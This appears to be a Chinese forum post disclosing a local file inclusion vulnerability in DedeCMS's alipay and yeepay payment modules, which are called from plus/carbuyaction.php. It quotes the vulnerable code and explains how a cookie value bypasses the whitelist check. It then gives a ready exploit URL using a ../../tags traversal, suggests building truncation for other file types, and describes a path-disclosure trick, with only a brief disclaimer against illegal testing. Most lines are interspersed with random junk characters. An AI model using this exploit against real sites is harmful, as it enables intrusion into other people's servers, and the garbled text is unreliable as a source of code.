晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
. _% s5 ^0 `2 e" ?( A
: \5 L) w6 {' P( j出现漏洞的两个文件为:' Q- ^: ]) t( `- q+ v$ u0 H
Include/payment/alipay.php4 }) _3 u' q& Q. R0 V
Include/payment/yeepay.php
1 y. a+ |5 O& M8 x; W漏洞均出现在respond方法里,估计这两个文件是临时工写的。
9 v. ^/ `" L) u( X- ?
9 S0 m) R" c! N$ E0 x- W6 JInclude/payment/alipay.php5 u: O% T" |5 V( I0 b
8 R: v2 r9 F$ Y4 N# Z4 Q: |, q......
( y& ?. K# X* F+ K( V3 e: G function respond()
& p: e1 |$ P2 g7 y! w' e) l {
' Y% p8 U: H$ `7 N4 ^ if (!empty($_POST))' e* F. d9 l; p
{5 f8 f1 Y; `# v3 y& Y8 L
foreach($_POST as $key => $data)
2 `2 B5 g5 l5 R& K6 N. O& g* A {: [6 m7 w1 g" Q: c5 E1 ~, e$ e
$_GET[$key] = $data;
0 I0 c& l, u3 k+ N% s8 W, A }
2 [# ~( \% |+ r: J7 x4 D$ g }# O3 q/ M }2 I# i) L) ?% [
/* 引入配置文件 */
2 d. @* t3 _4 T; c9 F require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
! k( L% @) E' _' B* i......
+ q" n( @8 r5 t& V3 S/ b
N. s% C8 W! A6 y; k8 b" S* p7 O3 X" g
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
; I$ {" u6 B! E$ H9 n( L+ @( d P# O& t
Include/payment/yeepay.php" m( ?9 B& \& S4 A- ?" w
4 S( Q) Y& q& m$ D9 q5 S & K* ~( S# ]$ B5 m# ~& p+ y# G
; t3 B0 W1 ]0 G! D
......
+ R" z# }& y6 @ function respond()' ^; f! |9 y, D
{
! V- b8 U8 S% Y5 x; q5 T 5 C3 I+ k' P6 i9 M
/* 引入配置文件 */! H% n- u2 u" |( V5 [3 ~7 x. _
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
4 s1 u/ Y6 J. j3 j- y! h 9 v o2 C; s- x0 R0 w
$p1_MerId = trim($payment['yp_account']);
" P+ O8 j3 N- k) W9 ~& g $merchantKey = trim($payment['yp_key']);
( a y* f5 o3 F2 ^...... , r, X' D0 _3 `. }
2 H1 L# h# T% s
, N" B; c9 S H2 R( }; b; q: R
* a" Q6 e3 d* p9 S, |
& X* \& V4 W$ ^; h0 ~大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。6 G2 y3 E3 @2 G- d, h0 @/ E
: _. @ j. w, z% x( R
这两个方法在plus/carbuyaction.php文件调用。
% a2 ~3 E) J+ O, G6 ~$ t7 Z/ j1 m9 b
plus/carbuyaction.php9 I8 a; d$ t) V, \
. B+ k. }6 U \, T: T8 t- m- Q......, C9 q& [- y( O( p
} else if ($dopost == 'return') {
) P; ]/ M- T* s5 T2 F, G* i $write_list = array('alipay', 'bank', 'cod', 'yeepay');/ D/ Y! n* r7 p% ?2 d2 r
if (in_array($code, $write_list))
& m+ F( l Q, @- u# {! g; o1 M" h {
e7 V% J' f6 X require_once DEDEINC.'/payment/'.$code.'.php';
. Q) u8 Y! L8 u t9 [& D0 b $pay = new $code;
1 V6 N& Q! a; y" n! P' q $msg=$pay->respond();- J/ F4 G* L/ R3 C7 f; ]$ S8 f
ShowMsg($msg, "javascript:;", 0, 3000);
' p( {! a. `- _2 X! Y exit();
6 z7 q8 v v9 a4 t0 T } else {5 z* b* l5 O8 N- m
exit('Error:File Type Can\'t Recognized!');1 p A+ p* O: P1 [
}9 V% a3 x1 `0 }! {0 r
}
8 y# o8 T. `% B5 h4 r# X8 V$ z" A......
4 N: E* J0 D% l2 F+ B
9 n" n- f0 O0 ?! d! @& r) ]+ D2 G2 c9 [( X
: l# Z8 L% W5 X4 s; g/ o- I' D+ l7 P* R4 ?3 s% T. L
+ \$ A' }& [6 Y% D" V k1 V5 U
l- m, J# }% f5 [; U
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
7 w) g+ {) p4 k/ S% Z所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
; S4 }4 _( P8 M; c1 e, R. y! I# w$ ^! X8 g* W
回到include/common.inc.php来看看他的机制。
4 M! S7 [1 s) K
6 p2 g# g/ p* a9 S
$ r4 \6 S! k+ j h, U3 x# Q2 o: ~5 n( _ n7 t/ ?, m
......
6 f8 j3 X9 c$ M! L E" Pforeach(Array('_GET','_POST','_COOKIE') as $_request)
. k: i# t, z! Q: k! K# ]8 ^- W/ e3 D{4 g% R& U! X6 q7 z9 P. o
foreach($$_request as $_k => $_v)
9 ^/ N. H6 L" E( H; _ {
/ E& T4 n: ? U if($_k == 'nvarname') ${$_k} = $_v;
4 t+ B# @0 ? I. z: Z+ A6 o else ${$_k} = _RunMagicQuotes($_v);
2 s8 l6 U1 ^8 B( I0 a/ d! K }
2 K- b: k/ D W/ M' B! n1 _}) j5 @2 R7 m. Q1 R5 v2 m
...... & |. p2 S* q% W
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:" P3 O6 H) |; ^3 i I+ \/ M5 S' V
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |